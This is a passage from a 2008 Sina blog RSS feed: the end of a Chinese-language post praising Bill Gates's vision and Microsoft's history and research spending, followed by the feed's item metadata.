Allen在1975年创建的微软公司中。在计算机将成为每个家庭、每个办公室中最重要的工具这样信念的引导下，他们开始为个人计算机开发软件。盖茨的远见卓识以及他对个人计算的先见之明成为微软和软件产业成功的关键。在盖茨的领导下，微软持续地发展改进软件技术，使软件更加易用，更省钱和更富于乐趣。公司致力于长期的发展，从目前每财年超过50亿美元的研究开发经费就可看出这一点。</FONT></P>
</DIV>
]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;经贸信息与管理点子</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101008pyd.html#comment</comments>
            <pubDate>Thu, 06 Mar 2008 07:01:25 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101008pyd.html</guid>
        </item>
    </channel>
</rss>
